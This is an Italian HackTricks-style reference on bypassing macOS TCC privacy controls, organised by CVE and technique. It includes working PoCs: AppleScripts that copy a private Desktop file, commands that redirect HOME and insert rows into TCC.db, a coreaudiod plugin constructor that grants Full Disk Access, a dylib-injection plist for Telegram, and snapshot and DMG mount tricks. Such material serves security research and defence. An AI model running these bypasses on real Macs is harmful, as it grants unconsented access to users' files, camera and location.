macOS TCC Bypasses

Impara l'hacking di AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Per funzionalità

Bypass di Scrittura

Questo non è un bypass, è solo come funziona TCC: Non protegge dalla scrittura. Se il Terminale non ha accesso alla lettura del Desktop di un utente, può comunque scriverci dentro:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

L'attributo esteso com.apple.macl viene aggiunto al nuovo file per dare accesso all'applicazione dei creatori per leggerlo.

TCC ClickJacking

È possibile posizionare una finestra sopra il prompt TCC per far sì che l'utente lo accetti senza accorgersene. Puoi trovare un PoC in TCC-ClickJacking.

Richiesta TCC con nome arbitrario

L'attaccante può creare app con qualsiasi nome (ad esempio Finder, Google Chrome...) nel Info.plist e farla richiedere l'accesso a una posizione protetta da TCC. L'utente penserà che sia l'applicazione legittima a richiedere questo accesso. Inoltre, è possibile rimuovere l'app legittima dal Dock e sostituirla con quella falsa, quindi quando l'utente clicca su quella falsa (che può usare la stessa icona) potrebbe chiamare quella legittima, chiedere i permessi TCC ed eseguire un malware, facendo credere all'utente che l'app legittima abbia richiesto l'accesso.

Ulteriori informazioni e PoC in:

pagemacOS Privilege Escalation

Bypass SSH

Per impostazione predefinita, un accesso tramite SSH aveva "Accesso completo al disco". Per disabilitarlo è necessario averlo elencato ma disabilitato (rimuoverlo dall'elenco non rimuoverà quei privilegi):

Qui puoi trovare esempi di come alcuni malware siano riusciti a eludere questa protezione:

Nota che ora, per poter abilitare SSH, è necessario Accesso completo al disco

Gestire le estensioni - CVE-2022-26767

L'attributo com.apple.macl viene dato ai file per dare a un'applicazione determinati permessi per leggerlo. Questo attributo viene impostato quando si trascina un file su un'app o quando un utente fa doppio clic su un file per aprirlo con l'applicazione predefinita.

Pertanto, un utente potrebbe registrare un'applicazione malevola per gestire tutte le estensioni e chiamare i Launch Services per aprire qualsiasi file (così il file malevolo otterrà l'accesso per leggerlo).

iCloud

Con il permesso com.apple.private.icloud-account-access è possibile comunicare con il servizio XPC com.apple.iCloudHelper che fornirà token iCloud.

iMovie e Garageband avevano questo permesso e altri che lo permettevano.

Per ulteriori informazioni sull'exploit per ottenere token iCloud da quel permesso, controlla il talk: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Automazione

Un'applicazione con il permesso kTCCServiceAppleEvents sarà in grado di controllare altre applicazioni. Ciò significa che potrebbe essere in grado di abusare dei permessi concessi alle altre applicazioni.

Per ulteriori informazioni sugli Apple Scripts, controlla:

pagemacOS Apple Scripts

Ad esempio, se un'app ha permesso di Automazione su iTerm, ad esempio in questo esempio Terminal ha accesso su iTerm:

Su iTerm

Terminal, che non ha FDA, può chiamare iTerm, che ce l'ha, e usarlo per eseguire azioni:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Attraverso Finder

Oppure se un'app ha accesso tramite Finder, potrebbe eseguire uno script come questo:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Per comportamento dell'applicazione

CVE-2020–9934 - TCC

Il demone tccd nello spazio utente utilizza la variabile HOME env per accedere al database degli utenti TCC da: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Secondo questo post su Stack Exchange e poiché il demone TCC viene eseguito tramite launchd all'interno del dominio dell'utente corrente, è possibile controllare tutte le variabili di ambiente passate ad esso. Pertanto, un attaccante potrebbe impostare la variabile di ambiente $HOME in launchctl per puntare a una directory controllata, riavviare il demone TCC, e quindi modificare direttamente il database TCC per concedersi tutti i privilegi TCC disponibili senza mai chiedere il permesso all'utente finale. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Note

Le note avevano accesso alle posizioni protette da TCC ma quando una nota viene creata questa viene creata in una posizione non protetta. Quindi, potevi chiedere alle note di copiare un file protetto in una nota (quindi in una posizione non protetta) e poi accedere al file:

CVE-2021-30782 - Translocazione

Il binario /usr/libexec/lsd con la libreria libsecurity_translocate aveva l'entitlement com.apple.private.nullfs_allow che gli permetteva di creare il mount nullfs e aveva l'entitlement com.apple.private.tcc.allow con kTCCServiceSystemPolicyAllFiles per accedere a ogni file.

Era possibile aggiungere l'attributo di quarantena a "Library", chiamare il servizio XPC com.apple.security.translocation e poi mappare Library a $TMPDIR/AppTranslocation/d/d/Library dove tutti i documenti all'interno di Library potevano essere acceduti.

CVE-2023-38571 - Musica e TV

Musica ha una caratteristica interessante: Quando è in esecuzione, importerà i file trascinati in ~/Musica/Musica/Media.localized/Automaticamente Aggiungi a Musica.localized nella "libreria multimediale" dell'utente. Inoltre, chiama qualcosa del tipo: rename(a, b); dove a e b sono:

  • a = "~/Musica/Musica/Media.localized/Automaticamente Aggiungi a Musica.localized/miofile.mp3"

  • b = "~/Musica/Musica/Media.localized/Automaticamente Aggiungi a Musica.localized/Non Aggiunto.localized/2023-09-25 11.06.28/miofile.mp3

Questo comportamento rename(a, b); è vulnerabile a una Condizione di Gara, poiché è possibile inserire nella cartella Automaticamente Aggiungi a Musica.localized un falso file TCC.db e poi quando viene creata la nuova cartella(b) per copiare il file, eliminarlo e puntarlo a ~/Library/Application Support/com.apple.TCC/.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Se SQLITE_SQLLOG_DIR="percorso/cartella" significa essenzialmente che qualsiasi db aperto viene copiato in quel percorso. In questa CVE questo controllo è stato abusato per scrivere all'interno di un database SQLite che verrà aperto da un processo con FDA il database TCC, e poi abusare SQLITE_SQLLOG_DIR con un symlink nel nome del file in modo che quando quel database viene aperto, il database utente TCC.db viene sovrascritto con quello aperto. Ulteriori informazioni nel writeup e nel talk.

SQLITE_AUTO_TRACE

Se la variabile d'ambiente SQLITE_AUTO_TRACE è impostata, la libreria libsqlite3.dylib inizierà a registrare tutte le query SQL. Molti programmi utilizzavano questa libreria, quindi era possibile registrare tutte le loro query SQLite.

Diversi programmi Apple utilizzavano questa libreria per accedere a informazioni protette da TCC.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Questa variabile d'ambiente è utilizzata dal framework Metal che è una dipendenza per vari programmi, soprattutto Music, che ha FDA.

Impostando quanto segue: MTL_DUMP_PIPELINES_TO_JSON_FILE="percorso/nome". Se percorso è una directory valida, il bug verrà attivato e possiamo utilizzare fs_usage per vedere cosa succede nel programma:

  • verrà open() un file chiamato percorso/.dat.nosyncXXXX.XXXXXX (X è casuale)

  • uno o più write() scriveranno i contenuti nel file (non controlliamo questo)

  • percorso/.dat.nosyncXXXX.XXXXXX verrà rename() a percorso/nome

Si tratta di una scrittura temporanea su file, seguita da un rename(old, new) che non è sicuro.

Non è sicuro perché deve risolvere i percorsi vecchi e nuovi separatamente, il che può richiedere del tempo e può essere vulnerabile a una Race Condition. Per ulteriori informazioni è possibile consultare la funzione xnu renameat_internal().

Quindi, in sostanza, se un processo privilegiato rinomina da una cartella da te controllata, potresti ottenere un RCE e farlo accedere a un file diverso o, come in questo CVE, aprire il file creato dall'app privilegiata e memorizzare un FD.

Se il rename accede a una cartella da te controllata, mentre hai modificato il file di origine o hai un FD ad esso, cambia il file (o la cartella) di destinazione in modo che punti a un symlink, così puoi scrivere quando vuoi.

Questo è stato l'attacco nel CVE: Ad esempio, per sovrascrivere il TCC.db dell'utente, possiamo:

  • creare /Users/hacker/ourlink per puntare a /Users/hacker/Library/Application Support/com.apple.TCC/

  • creare la directory /Users/hacker/tmp/

  • impostare MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db

  • attivare il bug eseguendo Music con questa variabile d'ambiente

  • intercettare l'open() di /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX (X è casuale)

  • qui apriamo anche l'open() di questo file per la scrittura e manteniamo il descrittore del file

  • scambiamo atomicamente /Users/hacker/tmp con /Users/hacker/ourlink in un loop

  • facciamo questo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto stretta, ma perdere la gara ha un impatto trascurabile

  • aspettiamo un po'

  • verifichiamo se siamo stati fortunati

  • se no, esegui di nuovo dall'inizio

Ulteriori informazioni su https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

Ora, se provi a utilizzare la variabile d'ambiente MTL_DUMP_PIPELINES_TO_JSON_FILE le app non si avvieranno

Apple Remote Desktop

Come root potresti abilitare questo servizio e l'agente ARD avrà accesso completo al disco che potrebbe poi essere abusato da un utente per fargli copiare un nuovo database utente TCC.

Tramite NFSHomeDirectory

TCC utilizza un database nella cartella HOME dell'utente per controllare l'accesso a risorse specifiche per l'utente a $HOME/Library/Application Support/com.apple.TCC/TCC.db. Pertanto, se l'utente riesce a riavviare TCC con una variabile d'ambiente $HOME che punta a una cartella diversa, l'utente potrebbe creare un nuovo database TCC in /Library/Application Support/com.apple.TCC/TCC.db e ingannare TCC per concedere qualsiasi permesso TCC a qualsiasi app.

Nota che Apple utilizza l'impostazione memorizzata nel profilo dell'utente nell'attributo NFSHomeDirectory per il valore di $HOME, quindi se comprometti un'applicazione con autorizzazioni per modificare questo valore (kTCCServiceSystemPolicySysAdminFiles), puoi armare questa opzione con un bypass di TCC.

CVE-2021-30970 - Powerdir

Il primo POC utilizza dsexport e dsimport per modificare la cartella HOME dell'utente.

  1. Ottenere un blob csreq per l'applicazione target.

  2. Piazzare un falso file TCC.db con l'accesso richiesto e il blob csreq.

  3. Esportare l'entry dei Servizi di Directory dell'utente con dsexport.

  4. Modificare l'entry dei Servizi di Directory per cambiare la cartella home dell'utente.

  5. Importare l'entry dei Servizi di Directory modificata con dsimport.

  6. Arrestare il tccd dell'utente e riavviare il processo.

Il secondo POC ha utilizzato /usr/libexec/configd che aveva com.apple.private.tcc.allow con il valore kTCCServiceSystemPolicySysAdminFiles. Era possibile eseguire configd con l'opzione -t, un attaccante poteva specificare un Bundle personalizzato da caricare. Pertanto, l'exploit sostituiva il metodo dsexport e dsimport per cambiare la cartella home dell'utente con un iniezione di codice configd.

Per ulteriori informazioni consulta il rapporto originale.

Tramite iniezione di processo

Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusare dei suoi privilegi TCC:

pagemacOS Process Abuse

Inoltre, la più comune iniezione di processo per bypassare TCC è tramite plugin (caricamento libreria). I plugin sono codice aggiuntivo solitamente sotto forma di librerie o plist, che verranno caricati dall'applicazione principale ed eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso ai file TCC restritti (tramite autorizzazioni concesse o entitlement), il codice personalizzato avrà lo stesso accesso.

CVE-2020-27937 - Directory Utility

L'applicazione /System/Library/CoreServices/Applications/Directory Utility.app aveva l'entitlement kTCCServiceSystemPolicySysAdminFiles, caricava plugin con estensione .daplug e non aveva il runtime hardenizzato.

Per armare questo CVE, il NFSHomeDirectory viene cambiato (abusando dell'entitlement precedente) per poter prendere il controllo del database TCC degli utenti per bypassare TCC.

Per ulteriori informazioni consulta il rapporto originale.

CVE-2020-29621 - Coreaudiod

Il binario /usr/sbin/coreaudiod aveva i diritti com.apple.security.cs.disable-library-validation e com.apple.private.tcc.manager. Il primo consentiva l'iniezione di codice e il secondo gli dava accesso per gestire TCC.

Questo binario permetteva di caricare plug-in di terze parti dalla cartella /Library/Audio/Plug-Ins/HAL. Di conseguenza, era possibile caricare un plugin e abusare dei permessi TCC con questo PoC:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Per ulteriori informazioni controlla il rapporto originale.

Plug-in del Livello di Astrazione del Dispositivo (DAL)

Le applicazioni di sistema che aprono lo stream della fotocamera tramite Core Media I/O (app con kTCCServiceCamera) caricano all'interno del processo questi plugin situati in /Library/CoreMediaIO/Plug-Ins/DAL (non soggetti a restrizioni SIP).

Basta memorizzare lì una libreria con il costruttore comune per riuscire a iniettare codice.

Diverse applicazioni Apple erano vulnerabili a questo.

Firefox

L'applicazione Firefox aveva i permessi com.apple.security.cs.disable-library-validation e com.apple.security.cs.allow-dyld-environment-variables:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Per ulteriori informazioni su come sfruttare facilmente questo controlla il report originale.

CVE-2020-10006

Il binario /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl aveva i permessi com.apple.private.tcc.allow e com.apple.security.get-task-allow, che consentivano di iniettare codice all'interno del processo e utilizzare i privilegi TCC.

CVE-2023-26818 - Telegram

Telegram aveva i permessi com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation, quindi era possibile abusarne per accedere ai suoi permessi come ad esempio registrare con la fotocamera. Puoi trovare il payload nella descrizione dettagliata.

Nota come utilizzare la variabile di ambiente per caricare una libreria è stato creato un plist personalizzato per iniettare questa libreria e launchctl è stato utilizzato per avviarla:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

Attraverso le invocazioni aperte

È possibile invocare open anche quando si è sandboxati.

Script del Terminale

È abbastanza comune concedere l'Accesso Completo al Disco (FDA) al terminale, almeno nei computer utilizzati da persone del settore tecnologico. Ed è possibile invocare script .terminal utilizzando questo permesso.

Gli script .terminal sono file plist come questo con il comando da eseguire nella chiave CommandString:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Un'applicazione potrebbe scrivere uno script del terminale in una posizione come /tmp e lanciarlo con un comando come:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Tramite il mount

CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi

Qualsiasi utente (anche non privilegiato) può creare e montare uno snapshot di time machine e accedere a TUTTI i file di tale snapshot. L'unico privilegio necessario è che l'applicazione utilizzata (come Terminal) abbia l'accesso Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles) che deve essere concesso da un amministratore.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Una spiegazione più dettagliata può essere trovata nel rapporto originale.

CVE-2021-1784 & CVE-2021-30808 - Montare sopra il file TCC

Anche se il file TCC DB è protetto, era possibile montare sopra la directory un nuovo file TCC.db:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Controlla l'exploit completo nella relazione originale.

asr

Lo strumento /usr/sbin/asr consentiva di copiare l'intero disco e montarlo in un altro posto eludendo le protezioni TCC.

Servizi di localizzazione

Esiste un terzo database TCC in /var/db/locationd/clients.plist per indicare i clienti autorizzati ad accedere ai servizi di localizzazione. La cartella /var/db/locationd/ non era protetta dal montaggio DMG quindi era possibile montare il nostro plist.

Da app di avvio

pagemacOS Auto Start

Con grep

In diverse occasioni i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).

Click sintetici

Questo non funziona più, ma lo faceva in passato:

Un altro modo utilizzando eventi CoreGraphics:

Riferimenti

Last updated